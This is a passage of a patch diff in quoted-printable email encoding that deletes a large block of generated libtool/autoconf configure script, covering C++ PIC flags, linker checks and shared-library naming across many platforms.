the path. - # Remove the space. - if test $p =3D "-L" \ -=09 || test $p =3D "-R"; then -=09 prev=3D$p -=09 continue - else -=09 prev=3D - fi - - if test "$pre_test_object_deps_done" =3D no; then -=09 case $p in -=09 -L* | -R*) -=09 # Internal compiler library paths should come after those -=09 # provided the user. The postdeps already come after the -=09 # user supplied libs so there is no need to process them. -=09 if test -z "$compiler_lib_search_path_CXX"; then -=09 compiler_lib_search_path_CXX=3D"${prev}${p}" -=09 else -=09 compiler_lib_search_path_CXX=3D"${compiler_lib_search_path_CXX= } ${prev}${p}" -=09 fi -=09 ;; -=09 # The "-l" case would never come before the object being -=09 # linked, so don't bother handling this case. -=09 esac - else -=09 if test -z "$postdeps_CXX"; then -=09 postdeps_CXX=3D"${prev}${p}" -=09 else -=09 postdeps_CXX=3D"${postdeps_CXX} ${prev}${p}" -=09 fi - fi - ;; - - *.$objext) - # This assumes that the test object file only shows up - # once in the compiler output. - if test "$p" =3D "conftest.$objext"; then -=09 pre_test_object_deps_done=3Dyes -=09 continue - fi - - if test "$pre_test_object_deps_done" =3D no; then -=09 if test -z "$predep_objects_CXX"; then -=09 predep_objects_CXX=3D"$p" -=09 else -=09 predep_objects_CXX=3D"$predep_objects_CXX $p" -=09 fi - else -=09 if test -z "$postdep_objects_CXX"; then -=09 postdep_objects_CXX=3D"$p" -=09 else -=09 postdep_objects_CXX=3D"$postdep_objects_CXX $p" -=09 fi - fi - ;; - - *) ;; # Ignore the rest. - - esac - done - - # Clean up. - rm -f a.out a.exe -else - echo "libtool.m4: error: problem compiling CXX test program" -fi - -$rm -f confest.$objext - -case " $postdeps_CXX " in -*" -lc "*) archive_cmds_need_lc_CXX=3Dno ;; -esac - -lt_prog_compiler_wl_CXX=3D -lt_prog_compiler_pic_CXX=3D -lt_prog_compiler_static_CXX=3D - -echo "$as_me:$LINENO: checking for $compiler option to produce PIC" >&= 5 -echo $ECHO_N "checking for $compiler option to produce PIC... $ECHO_C"= >&6 - - # C++ specific cases for pic, static, wl, etc. - if test "$GXX" =3D yes; then - lt_prog_compiler_wl_CXX=3D'-Wl,' - lt_prog_compiler_static_CXX=3D'-static' - - case $host_os in - aix*) - # All AIX code is PIC. - if test "$host_cpu" =3D ia64; then -=09# AIX 5 now supports IA64 processor -=09lt_prog_compiler_static_CXX=3D'-Bstatic' - fi - ;; - amigaos*) - # FIXME: we need at least 68020 code to build shared libraries, = but - # adding the `-m68020' flag to GCC prevents building anything be= tter, - # like `-m68040'. - lt_prog_compiler_pic_CXX=3D'-m68020 -resident32 -malways-restore= -a4' - ;; - beos* | cygwin* | irix5* | irix6* | nonstopux* | osf3* | osf4* | o= sf5*) - # PIC is the default for these OSes. - ;; - mingw* | os2* | pw32*) - # This hack is so that the source file can tell whether it is be= ing - # built for inclusion in a dll (and should export symbols for ex= ample). - lt_prog_compiler_pic_CXX=3D'-DDLL_EXPORT' - ;; - darwin* | rhapsody*) - # PIC is the default on this platform - # Common symbols not allowed in MH_DYLIB files - lt_prog_compiler_pic_CXX=3D'-fno-common' - ;; - *djgpp*) - # DJGPP does not support shared libraries at all - lt_prog_compiler_pic_CXX=3D - ;; - sysv4*MP*) - if test -d /usr/nec; then -=09lt_prog_compiler_pic_CXX=3D-Kconform_pic - fi - ;; - hpux*) - # PIC is the default for IA64 HP-UX and 64-bit HP-UX, but - # not for PA HP-UX. - case "$host_cpu" in - hppa*64*|ia64*) -=09;; - *) -=09lt_prog_compiler_pic_CXX=3D'-fPIC' -=09;; - esac - ;; - *) - lt_prog_compiler_pic_CXX=3D'-fPIC' - ;; - esac - else - case $host_os in - aix4* | aix5*) -=09# All AIX code is PIC. -=09if test "$host_cpu" =3D ia64; then -=09 # AIX 5 now supports IA64 processor -=09 lt_prog_compiler_static_CXX=3D'-Bstatic' -=09else -=09 lt_prog_compiler_static_CXX=3D'-bnso -bI:/lib/syscalls.exp' -=09fi -=09;; - chorus*) -=09case $cc_basename in -=09cxch68) -=09 # Green Hills C++ Compiler -=09 # _LT_AC_TAGVAR(lt_prog_compiler_static, CXX)=3D"--no_auto_instan= tiation -u __main -u __premain -u _abort -r $COOL_DIR/lib/libOrb.a $MVM= E_DIR/lib/CC/libC.a $MVME_DIR/lib/classix/libcx.s.a" -=09 ;; -=09esac -=09;; - darwin*) - # PIC is the default on this platform - # Common symbols not allowed in MH_DYLIB files - case "$cc_basename" in - xlc*) - lt_prog_compiler_pic_CXX=3D'-qnocommon' - lt_prog_compiler_wl_CXX=3D'-Wl,' - ;; - esac - ;; - dgux*) -=09case $cc_basename in -=09 ec++) -=09 lt_prog_compiler_pic_CXX=3D'-KPIC' -=09 ;; -=09 ghcx) -=09 # Green Hills C++ Compiler -=09 lt_prog_compiler_pic_CXX=3D'-pic' -=09 ;; -=09 *) -=09 ;; -=09esac -=09;; - freebsd* | kfreebsd*-gnu) -=09# FreeBSD uses GNU C++ -=09;; - hpux9* | hpux10* | hpux11*) -=09case $cc_basename in -=09 CC) -=09 lt_prog_compiler_wl_CXX=3D'-Wl,' -=09 lt_prog_compiler_static_CXX=3D"${ac_cv_prog_cc_wl}-a ${ac_cv_pr= og_cc_wl}archive" -=09 if test "$host_cpu" !=3D ia64; then -=09 lt_prog_compiler_pic_CXX=3D'+Z' -=09 fi -=09 ;; -=09 aCC) -=09 lt_prog_compiler_wl_CXX=3D'-Wl,' -=09 lt_prog_compiler_static_CXX=3D"${ac_cv_prog_cc_wl}-a ${ac_cv_pr= og_cc_wl}archive" -=09 case "$host_cpu" in -=09 hppa*64*|ia64*) -=09 # +Z the default -=09 ;; -=09 *) -=09 lt_prog_compiler_pic_CXX=3D'+Z' -=09 ;; -=09 esac -=09 ;; -=09 *) -=09 ;; -=09esac -=09;; - irix5* | irix6* | nonstopux*) -=09case $cc_basename in -=09 CC) -=09 lt_prog_compiler_wl_CXX=3D'-Wl,' -=09 lt_prog_compiler_static_CXX=3D'-non_shared' -=09 # CC pic flag -KPIC is the default. -=09 ;; -=09 *) -=09 ;; -=09esac -=09;; - linux*) -=09case $cc_basename in -=09 KCC) -=09 # KAI C++ Compiler -=09 lt_prog_compiler_wl_CXX=3D'--backend -Wl,' -=09 lt_prog_compiler_pic_CXX=3D'-fPIC' -=09 ;; -=09 icpc) -=09 # Intel C++ -=09 lt_prog_compiler_wl_CXX=3D'-Wl,' -=09 lt_prog_compiler_pic_CXX=3D'-KPIC' -=09 lt_prog_compiler_static_CXX=3D'-static' -=09 ;; -=09 cxx) -=09 # Compaq C++ -=09 # Make sure the PIC flag is empty. It appears that all Alpha -=09 # Linux and Compaq Tru64 Unix objects are PIC. -=09 lt_prog_compiler_pic_CXX=3D -=09 lt_prog_compiler_static_CXX=3D'-non_shared' -=09 ;; -=09 *) -=09 ;; -=09esac -=09;; - lynxos*) -=09;; - m88k*) -=09;; - mvs*) -=09case $cc_basename in -=09 cxx) -=09 lt_prog_compiler_pic_CXX=3D'-W c,exportall' -=09 ;; -=09 *) -=09 ;; -=09esac -=09;; - netbsd*) -=09;; - osf3* | osf4* | osf5*) -=09case $cc_basename in -=09 KCC) -=09 lt_prog_compiler_wl_CXX=3D'--backend -Wl,' -=09 ;; -=09 RCC) -=09 # Rational C++ 2.4.1 -=09 lt_prog_compiler_pic_CXX=3D'-pic' -=09 ;; -=09 cxx) -=09 # Digital/Compaq C++ -=09 lt_prog_compiler_wl_CXX=3D'-Wl,' -=09 # Make sure the PIC flag is empty. It appears that all Alpha -=09 # Linux and Compaq Tru64 Unix objects are PIC. -=09 lt_prog_compiler_pic_CXX=3D -=09 lt_prog_compiler_static_CXX=3D'-non_shared' -=09 ;; -=09 *) -=09 ;; -=09esac -=09;; - psos*) -=09;; - sco*) -=09case $cc_basename in -=09 CC) -=09 lt_prog_compiler_pic_CXX=3D'-fPIC' -=09 ;; -=09 *) -=09 ;; -=09esac -=09;; - solaris*) -=09case $cc_basename in -=09 CC) -=09 # Sun C++ 4.2, 5.x and Centerline C++ -=09 lt_prog_compiler_pic_CXX=3D'-KPIC' -=09 lt_prog_compiler_static_CXX=3D'-Bstatic' -=09 lt_prog_compiler_wl_CXX=3D'-Qoption ld ' -=09 ;; -=09 gcx) -=09 # Green Hills C++ Compiler -=09 lt_prog_compiler_pic_CXX=3D'-PIC' -=09 ;; -=09 *) -=09 ;; -=09esac -=09;; - sunos4*) -=09case $cc_basename in -=09 CC) -=09 # Sun C++ 4.x -=09 lt_prog_compiler_pic_CXX=3D'-pic' -=09 lt_prog_compiler_static_CXX=3D'-Bstatic' -=09 ;; -=09 lcc) -=09 # Lucid -=09 lt_prog_compiler_pic_CXX=3D'-pic' -=09 ;; -=09 *) -=09 ;; -=09esac -=09;; - tandem*) -=09case $cc_basename in -=09 NCC) -=09 # NonStop-UX NCC 3.20 -=09 lt_prog_compiler_pic_CXX=3D'-KPIC' -=09 ;; -=09 *) -=09 ;; -=09esac -=09;; - unixware*) -=09;; - vxworks*) -=09;; - *) -=09lt_prog_compiler_can_build_shared_CXX=3Dno -=09;; - esac - fi - -echo "$as_me:$LINENO: result: $lt_prog_compiler_pic_CXX" >&5 -echo "${ECHO_T}$lt_prog_compiler_pic_CXX" >&6 - -# -# Check to make sure the PIC flag actually works. -# -if test -n "$lt_prog_compiler_pic_CXX"; then - -echo "$as_me:$LINENO: checking if $compiler PIC flag $lt_prog_compiler= _pic_CXX works" >&5 -echo $ECHO_N "checking if $compiler PIC flag $lt_prog_compiler_pic_CXX= works... $ECHO_C" >&6 -if test "${lt_prog_compiler_pic_works_CXX+set}" =3D set; then - echo $ECHO_N "(cached) $ECHO_C" >&6 -else - lt_prog_compiler_pic_works_CXX=3Dno - ac_outfile=3Dconftest.$ac_objext - printf "$lt_simple_compile_test_code" > conftest.$ac_ext - lt_compiler_flag=3D"$lt_prog_compiler_pic_CXX -DPIC" - # Insert the option either (1) after the last *FLAGS variable, or - # (2) before a word containing "conftest.", or (3) at the end. - # Note that $ac_compile itself does not contain backslashes and beg= ins - # with a dollar sign (not a hyphen), so the echo should work correc= tly. - # The option is referenced via a variable to avoid confusing sed. - lt_compile=3D`echo "$ac_compile" | $SED \ - -e 's:.*FLAGS}? :&$lt_compiler_flag :; t' \ - -e 's: [^ ]*conftest\.: $lt_compiler_flag&:; t' \ - -e 's:$: $lt_compiler_flag:'` - (eval echo "\"\$as_me:11054: $lt_compile\"" >&5) - (eval "$lt_compile" 2>conftest.err) - ac_status=3D$? - cat conftest.err >&5 - echo "$as_me:11058: \$? =3D $ac_status" >&5 - if (exit $ac_status) && test -s "$ac_outfile"; then - # The compiler can only warn and ignore the option if not recogni= zed - # So say no if there are warnings - if test ! -s conftest.err; then - lt_prog_compiler_pic_works_CXX=3Dyes - fi - fi - $rm conftest* - -fi -echo "$as_me:$LINENO: result: $lt_prog_compiler_pic_works_CXX" >&5 -echo "${ECHO_T}$lt_prog_compiler_pic_works_CXX" >&6 - -if test x"$lt_prog_compiler_pic_works_CXX" =3D xyes; then - case $lt_prog_compiler_pic_CXX in - "" | " "*) ;; - *) lt_prog_compiler_pic_CXX=3D" $lt_prog_compiler_pic_CXX" ;; - esac -else - lt_prog_compiler_pic_CXX=3D - lt_prog_compiler_can_build_shared_CXX=3Dno -fi - -fi -case "$host_os" in - # For platforms which do not support PIC, -DPIC is meaningless: - *djgpp*) - lt_prog_compiler_pic_CXX=3D - ;; - *) - lt_prog_compiler_pic_CXX=3D"$lt_prog_compiler_pic_CXX -DPIC" - ;; -esac - -echo "$as_me:$LINENO: checking if $compiler supports -c -o file.$ac_ob= jext" >&5 -echo $ECHO_N "checking if $compiler supports -c -o file.$ac_objext... = $ECHO_C" >&6 -if test "${lt_cv_prog_compiler_c_o_CXX+set}" =3D set; then - echo $ECHO_N "(cached) $ECHO_C" >&6 -else - lt_cv_prog_compiler_c_o_CXX=3Dno - $rm -r conftest 2>/dev/null - mkdir conftest - cd conftest - mkdir out - printf "$lt_simple_compile_test_code" > conftest.$ac_ext - - lt_compiler_flag=3D"-o out/conftest2.$ac_objext" - # Insert the option either (1) after the last *FLAGS variable, or - # (2) before a word containing "conftest.", or (3) at the end. - # Note that $ac_compile itself does not contain backslashes and beg= ins - # with a dollar sign (not a hyphen), so the echo should work correc= tly. - lt_compile=3D`echo "$ac_compile" | $SED \ - -e 's:.*FLAGS}? :&$lt_compiler_flag :; t' \ - -e 's: [^ ]*conftest\.: $lt_compiler_flag&:; t' \ - -e 's:$: $lt_compiler_flag:'` - (eval echo "\"\$as_me:11114: $lt_compile\"" >&5) - (eval "$lt_compile" 2>out/conftest.err) - ac_status=3D$? - cat out/conftest.err >&5 - echo "$as_me:11118: \$? =3D $ac_status" >&5 - if (exit $ac_status) && test -s out/conftest2.$ac_objext - then - # The compiler can only warn and ignore the option if not recogni= zed - # So say no if there are warnings - if test ! -s out/conftest.err; then - lt_cv_prog_compiler_c_o_CXX=3Dyes - fi - fi - chmod u+w . - $rm conftest* - # SGI C++ compiler will create directory out/ii_files/ for - # template instantiation - test -d out/ii_files && $rm out/ii_files/* && rmdir out/ii_files - $rm out/* && rmdir out - cd .. - rmdir conftest - $rm conftest* - -fi -echo "$as_me:$LINENO: result: $lt_cv_prog_compiler_c_o_CXX" >&5 -echo "${ECHO_T}$lt_cv_prog_compiler_c_o_CXX" >&6 - - -hard_links=3D"nottested" -if test "$lt_cv_prog_compiler_c_o_CXX" =3D no && test "$need_locks" != =3D no; then - # do not overwrite the value of need_locks provided by the user - echo "$as_me:$LINENO: checking if we can lock with hard links" >&5 -echo $ECHO_N "checking if we can lock with hard links... $ECHO_C" >&6 - hard_links=3Dyes - $rm conftest* - ln conftest.a conftest.b 2>/dev/null && hard_links=3Dno - touch conftest.a - ln conftest.a conftest.b 2>&5 || hard_links=3Dno - ln conftest.a conftest.b 2>/dev/null && hard_links=3Dno - echo "$as_me:$LINENO: result: $hard_links" >&5 -echo "${ECHO_T}$hard_links" >&6 - if test "$hard_links" =3D no; then - { echo "$as_me:$LINENO: WARNING: \`$CC' does not support \`-c -o',= so \`make -j' may be unsafe" >&5 -echo "$as_me: WARNING: \`$CC' does not support \`-c -o', so \`make -j'= may be unsafe" >&2;} - need_locks=3Dwarn - fi -else - need_locks=3Dno -fi - -echo "$as_me:$LINENO: checking whether the $compiler linker ($LD) supp= orts shared libraries" >&5 -echo $ECHO_N "checking whether the $compiler linker ($LD) supports sha= red libraries... $ECHO_C" >&6 - - export_symbols_cmds_CXX=3D'$NM $libobjs $convenience | $global_symbo= l_pipe | $SED '\''s/.* //'\'' | sort | uniq > $export_symbols' - case $host_os in - aix4* | aix5*) - # If we're using GNU nm, then we don't want the "-C" option. - # -C means demangle to AIX nm, but means don't demangle with GNU n= m - if $NM -V 2>&1 | grep 'GNU' > /dev/null; then - export_symbols_cmds_CXX=3D'$NM -Bpg $libobjs $convenience | awk = '\''{ if (((\$2 =3D=3D "T") || (\$2 =3D=3D "D") || (\$2 =3D=3D "B")) &&= (substr(\$3,1,1) !=3D ".")) { print \$3 } }'\'' | sort -u > $export_sy= mbols' - else - export_symbols_cmds_CXX=3D'$NM -BCpg $libobjs $convenience | awk= '\''{ if (((\$2 =3D=3D "T") || (\$2 =3D=3D "D") || (\$2 =3D=3D "B")) &= & (substr(\$3,1,1) !=3D ".")) { print \$3 } }'\'' | sort -u > $export_s= ymbols' - fi - ;; - pw32*) - export_symbols_cmds_CXX=3D"$ltdll_cmds" - ;; - cygwin* | mingw*) - export_symbols_cmds_CXX=3D'$NM $libobjs $convenience | $global_sym= bol_pipe | $SED -e '\''/^[BCDGS] /s/.* \([^ ]*\)/\1 DATA/'\'' | $SED -e= '\''/^[AITW] /s/.* //'\'' | sort | uniq > $export_symbols' - ;; - *) - export_symbols_cmds_CXX=3D'$NM $libobjs $convenience | $global_sym= bol_pipe | $SED '\''s/.* //'\'' | sort | uniq > $export_symbols' - ;; - esac - -echo "$as_me:$LINENO: result: $ld_shlibs_CXX" >&5 -echo "${ECHO_T}$ld_shlibs_CXX" >&6 -test "$ld_shlibs_CXX" =3D no && can_build_shared=3Dno - -variables_saved_for_relink=3D"PATH $shlibpath_var $runpath_var" -if test "$GCC" =3D yes; then - variables_saved_for_relink=3D"$variables_saved_for_relink GCC_EXEC_P= REFIX COMPILER_PATH LIBRARY_PATH" -fi - -# -# Do we need to explicitly link libc? -# -case "x$archive_cmds_need_lc_CXX" in -x|xyes) - # Assume -lc should be added - archive_cmds_need_lc_CXX=3Dyes - - if test "$enable_shared" =3D yes && test "$GCC" =3D yes; then - case $archive_cmds_CXX in - *'~'*) - # FIXME: we may have to deal with multi-command sequences. - ;; - '$CC '*) - # Test whether the compiler implicitly links with -lc since on s= ome - # systems, -lgcc has to come before -lc. If gcc already passes -= lc - # to ld, don't add -lc before -lgcc. - echo "$as_me:$LINENO: checking whether -lc should be explicitly = linked in" >&5 -echo $ECHO_N "checking whether -lc should be explicitly linked in... $= ECHO_C" >&6 - $rm conftest* - printf "$lt_simple_compile_test_code" > conftest.$ac_ext - - if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 - (eval $ac_compile) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); } 2>conftest.err; then - soname=3Dconftest - lib=3Dconftest - libobjs=3Dconftest.$ac_objext - deplibs=3D - wl=3D$lt_prog_compiler_wl_CXX - compiler_flags=3D-v - linker_flags=3D-v - verstring=3D - output_objdir=3D. - libname=3Dconftest - lt_save_allow_undefined_flag=3D$allow_undefined_flag_CXX - allow_undefined_flag_CXX=3D - if { (eval echo "$as_me:$LINENO: \"$archive_cmds_CXX 2\>\&1 \|= grep \" -lc \" \>/dev/null 2\>\&1\"") >&5 - (eval $archive_cmds_CXX 2\>\&1 \| grep \" -lc \" \>/dev/null 2\>\&1)= 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); } - then -=09 archive_cmds_need_lc_CXX=3Dno - else -=09 archive_cmds_need_lc_CXX=3Dyes - fi - allow_undefined_flag_CXX=3D$lt_save_allow_undefined_flag - else - cat conftest.err 1>&5 - fi - $rm conftest* - echo "$as_me:$LINENO: result: $archive_cmds_need_lc_CXX" >&5 -echo "${ECHO_T}$archive_cmds_need_lc_CXX" >&6 - ;; - esac - fi - ;; -esac - -echo "$as_me:$LINENO: checking dynamic linker characteristics" >&5 -echo $ECHO_N "checking dynamic linker characteristics... $ECHO_C" >&6 -library_names_spec=3D -libname_spec=3D'lib$name' -soname_spec=3D -shrext_cmds=3D".so" -postinstall_cmds=3D -postuninstall_cmds=3D -finish_cmds=3D -finish_eval=3D -shlibpath_var=3D -shlibpath_overrides_runpath=3Dunknown -version_type=3Dnone -dynamic_linker=3D"$host_os ld.so" -sys_lib_dlsearch_path_spec=3D"/lib /usr/lib" -if test "$GCC" =3D yes; then - sys_lib_search_path_spec=3D`$CC -print-search-dirs | grep "^librarie= s:" | $SED -e "s/^libraries://" -e "s,=3D/,/,g"` - if echo "$sys_lib_search_path_spec" | grep ';' >/dev/null ; then - # if the path contains ";" then we assume it to be the separator - # otherwise default to the standard path separator (i.e. ":") - it= is - # assumed that no part of a normal pathname contains ";" but that = should - # okay in the real world where ";" in dirpaths is itself problemat= ic. - sys_lib_search_path_spec=3D`echo "$sys_lib_search_path_spec" | $SE= D -e 's/;/ /g'` - else - sys_lib_search_path_spec=3D`echo "$sys_lib_search_path_spec" | $SE= D -e "s/$PATH_SEPARATOR/ /g"` - fi -else - sys_lib_search_path_spec=3D"/lib /usr/lib /usr/local/lib" -fi -need_lib_prefix=3Dunknown -hardcode_into_libs=3Dno - -# when you set need_version to no, make sure it does not cause -set_ve= rsion -# flags to be left without arguments -need_version=3Dunknown - -case $host_os in -aix3*) - version_type=3Dlinux - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix $l= ibname.a' - shlibpath_var=3DLIBPATH - - # AIX 3 has no versioning support, so we append a major version to t= he name. - soname_spec=3D'${libname}${release}${shared_ext}$major' - ;; - -aix4* | aix5*) - version_type=3Dlinux - need_lib_prefix=3Dno - need_version=3Dno - hardcode_into_libs=3Dyes - if test "$host_cpu" =3D ia64; then - # AIX 5 supports IA64 - library_names_spec=3D'${libname}${release}${shared_ext}$major ${li= bname}${release}${shared_ext}$versuffix $libname${shared_ext}' - shlibpath_var=3DLD_LIBRARY_PATH - else - # With GCC up to 2.95.x, collect2 would create an import file - # for dependence libraries. The import file would start with - # the line `#! .'. This would cause the generated library to - # depend on `.', always an invalid library. This was fixed in - # development snapshots of GCC prior to 3.0. - case $host_os in - aix4 | aix4.[01] | aix4.[01].*) - if { echo '#if __GNUC__ > 2 || (__GNUC__ =3D=3D 2 && __GNUC_MINO= R__ >=3D 97)' -=09 echo ' yes ' -=09 echo '#endif'; } | ${CC} -E - | grep yes > /dev/null; then -=09: - else -=09can_build_shared=3Dno - fi - ;; - esac - # AIX (on Power*) has no versioning support, so currently we can n= ot hardcode correct - # soname into executable. Probably we can add versioning support t= o - # collect2, so additional links can be useful in future. - if test "$aix_use_runtimelinking" =3D yes; then - # If using run time linking (on AIX 4.2 or later) use lib.= so - # instead of lib.a to let people know that these are not - # typical AIX shared libraries. - library_names_spec=3D'${libname}${release}${shared_ext}$versuffi= x ${libname}${release}${shared_ext}$major $libname${shared_ext}' - else - # We preserve .a as extension for shared libraries through AIX4.= 2 - # and later when we are not doing run time linking. - library_names_spec=3D'${libname}${release}.a $libname.a' - soname_spec=3D'${libname}${release}${shared_ext}$major' - fi - shlibpath_var=3DLIBPATH - fi - ;; - -amigaos*) - library_names_spec=3D'$libname.ixlibrary $libname.a' - # Create ${libname}_ixlibrary.a entries in /sys/libs. - finish_eval=3D'for lib in `ls $libdir/*.ixlibrary 2>/dev/null`; do l= ibname=3D`$echo "X$lib" | $Xsed -e '\''s%^.*/\([^/]*\)\.ixlibrary$%\1%'= \''`; test $rm /sys/libs/${libname}_ixlibrary.a; $show "cd /sys/libs &&= $LN_S $lib ${libname}_ixlibrary.a"; cd /sys/libs && $LN_S $lib ${libna= me}_ixlibrary.a || exit 1; done' - ;; - -beos*) - library_names_spec=3D'${libname}${shared_ext}' - dynamic_linker=3D"$host_os ld.so" - shlibpath_var=3DLIBRARY_PATH - ;; - -bsdi[45]*) - version_type=3Dlinux - need_version=3Dno - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix ${= libname}${release}${shared_ext}$major $libname${shared_ext}' - soname_spec=3D'${libname}${release}${shared_ext}$major' - finish_cmds=3D'PATH=3D"\$PATH:/sbin" ldconfig $libdir' - shlibpath_var=3DLD_LIBRARY_PATH - sys_lib_search_path_spec=3D"/shlib /usr/lib /usr/X11/lib /usr/contri= b/lib /lib /usr/local/lib" - sys_lib_dlsearch_path_spec=3D"/shlib /usr/lib /usr/local/lib" - # the default ld.so.conf also contains /usr/contrib/lib and - # /usr/X11R6/lib (/usr/X11 is a link to /usr/X11R6), but let us allo= w - # libtool to hard-code these into programs - ;; - -cygwin* | mingw* | pw32*) - version_type=3Dwindows - shrext_cmds=3D".dll" - need_version=3Dno - need_lib_prefix=3Dno - - case $GCC,$host_os in - yes,cygwin* | yes,mingw* | yes,pw32*) - library_names_spec=3D'$libname.dll.a' - # DLL is installed to $(libdir)/../bin by postinstall_cmds - postinstall_cmds=3D'base_file=3D`basename \${file}`~ - dlpath=3D`$SHELL 2>&1 -c '\''. $dir/'\''\${base_file}'\''i;echo = \$dlname'\''`~ - dldir=3D$destdir/`dirname \$dlpath`~ - test -d \$dldir || mkdir -p \$dldir~ - $install_prog $dir/$dlname \$dldir/$dlname' - postuninstall_cmds=3D'dldll=3D`$SHELL 2>&1 -c '\''. $file; echo \$= dlname'\''`~ - dlpath=3D$dir/\$dldll~ - $rm \$dlpath' - shlibpath_overrides_runpath=3Dyes - - case $host_os in - cygwin*) - # Cygwin DLLs use 'cyg' prefix rather than 'lib' - soname_spec=3D'`echo ${libname} | sed -e 's/^lib/cyg/'``echo ${r= elease} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}' - sys_lib_search_path_spec=3D"/usr/lib /lib/w32api /lib /usr/local= /lib" - ;; - mingw*) - # MinGW DLLs use traditional 'lib' prefix - soname_spec=3D'${libname}`echo ${release} | $SED -e 's/[.]/-/g'`= ${versuffix}${shared_ext}' - sys_lib_search_path_spec=3D`$CC -print-search-dirs | grep "^libr= aries:" | $SED -e "s/^libraries://" -e "s,=3D/,/,g"` - if echo "$sys_lib_search_path_spec" | grep ';[c-zC-Z]:/' >/dev/n= ull; then - # It is most probably a Windows format PATH printed by - # mingw gcc, but we are running on Cygwin. Gcc prints its sear= ch - # path with ; separators, and with drive letters. We can handl= e the - # drive letters (cygwin fileutils understands them), so leave = them, - # especially as we might pass files found there to a mingw obj= dump, - # which wouldn't understand a cygwinified path. Ahh. - sys_lib_search_path_spec=3D`echo "$sys_lib_search_path_spec" |= $SED -e 's/;/ /g'` - else - sys_lib_search_path_spec=3D`echo "$sys_lib_search_path_spec" |= $SED -e "s/$PATH_SEPARATOR/ /g"` - fi - ;; - pw32*) - # pw32 DLLs use 'pw' prefix rather than 'lib' - library_names_spec=3D'`echo ${libname} | sed -e 's/^lib/pw/'``ec= ho ${release} | $SED -e 's/./-/g'`${versuffix}${shared_ext}' - ;; - esac - ;; - - *) - library_names_spec=3D'${libname}`echo ${release} | $SED -e 's/[.]/= -/g'`${versuffix}${shared_ext} $libname.lib' - ;; - esac - dynamic_linker=3D'Win32 ld.exe' - # FIXME: first we should search . and the directory the executable i= s in - shlibpath_var=3DPATH - ;; - -darwin* | rhapsody*) - dynamic_linker=3D"$host_os dyld" - version_type=3Ddarwin - need_lib_prefix=3Dno - need_version=3Dno - library_names_spec=3D'${libname}${release}${versuffix}$shared_ext ${= libname}${release}${major}$shared_ext ${libname}$shared_ext' - soname_spec=3D'${libname}${release}${major}$shared_ext' - shlibpath_overrides_runpath=3Dyes - shlibpath_var=3DDYLD_LIBRARY_PATH - shrext_cmds=3D'$(test .$module =3D .yes && echo .so || echo .dylib)' - # Apple's gcc prints 'gcc -print-search-dirs' doesn't operate the sa= me. - if test "$GCC" =3D yes; then - sys_lib_search_path_spec=3D`$CC -print-search-dirs | tr "\n" "$PAT= H_SEPARATOR" | sed -e 's/libraries:/@libraries:/' | tr "@" "\n" | grep = "^libraries:" | sed -e "s/^libraries://" -e "s,=3D/,/,g" -e "s,$PATH_SE= PARATOR, ,g" -e "s,.*,& /lib /usr/lib /usr/local/lib,g"` - else - sys_lib_search_path_spec=3D'/lib /usr/lib /usr/local/lib' - fi - sys_lib_dlsearch_path_spec=3D'/usr/local/lib /lib /usr/lib' - ;; - -dgux*) - version_type=3Dlinux - need_lib_prefix=3Dno - need_version=3Dno - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix ${= libname}${release}${shared_ext}$major $libname$shared_ext' - soname_spec=3D'${libname}${release}${shared_ext}$major' - shlibpath_var=3DLD_LIBRARY_PATH - ;; - -freebsd1*) - dynamic_linker=3Dno - ;; - -kfreebsd*-gnu) - version_type=3Dlinux - need_lib_prefix=3Dno - need_version=3Dno - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix ${= libname}${release}${shared_ext}$major ${libname}${shared_ext}' - soname_spec=3D'${libname}${release}${shared_ext}$major' - shlibpath_var=3DLD_LIBRARY_PATH - shlibpath_overrides_runpath=3Dno - hardcode_into_libs=3Dyes - dynamic_linker=3D'GNU ld.so' - ;; - -freebsd*) - objformat=3D`test -x /usr/bin/objformat && /usr/bin/objformat || ech= o aout` - version_type=3Dfreebsd-$objformat - case $version_type in - freebsd-elf*) - library_names_spec=3D'${libname}${release}${shared_ext}$versuffi= x ${libname}${release}${shared_ext} $libname${shared_ext}' - need_version=3Dno - need_lib_prefix=3Dno - ;; - freebsd-*) - library_names_spec=3D'${libname}${release}${shared_ext}$versuffi= x $libname${shared_ext}$versuffix' - need_version=3Dyes - ;; - esac - shlibpath_var=3DLD_LIBRARY_PATH - case $host_os in - freebsd2*) - shlibpath_overrides_runpath=3Dyes - ;; - freebsd3.01* | freebsdelf3.01*) - shlibpath_overrides_runpath=3Dyes - hardcode_into_libs=3Dyes - ;; - *) # from 3.2 on - shlibpath_overrides_runpath=3Dno - hardcode_into_libs=3Dyes - ;; - esac - ;; - -gnu*) - version_type=3Dlinux - need_lib_prefix=3Dno - need_version=3Dno - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix ${= libname}${release}${shared_ext}${major} ${libname}${shared_ext}' - soname_spec=3D'${libname}${release}${shared_ext}$major' - shlibpath_var=3DLD_LIBRARY_PATH - hardcode_into_libs=3Dyes - ;; - -hpux9* | hpux10* | hpux11*) - # Give a soname corresponding to the major version so that dld.sl re= fuses to - # link against other versions. - version_type=3Dsunos - need_lib_prefix=3Dno - need_version=3Dno - case "$host_cpu" in - ia64*) - shrext_cmds=3D'.so' - hardcode_into_libs=3Dyes - dynamic_linker=3D"$host_os dld.so" - shlibpath_var=3DLD_LIBRARY_PATH - shlibpath_overrides_runpath=3Dyes # Unless +noenvvar is specified. - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix = ${libname}${release}${shared_ext}$major $libname${shared_ext}' - soname_spec=3D'${libname}${release}${shared_ext}$major' - if test "X$HPUX_IA64_MODE" =3D X32; then - sys_lib_search_path_spec=3D"/usr/lib/hpux32 /usr/local/lib/hpux3= 2 /usr/local/lib" - else - sys_lib_search_path_spec=3D"/usr/lib/hpux64 /usr/local/lib/hpux6= 4" - fi - sys_lib_dlsearch_path_spec=3D$sys_lib_search_path_spec - ;; - hppa*64*) - shrext_cmds=3D'.sl' - hardcode_into_libs=3Dyes - dynamic_linker=3D"$host_os dld.sl" - shlibpath_var=3DLD_LIBRARY_PATH # How should we handle SHLIB_PATH - 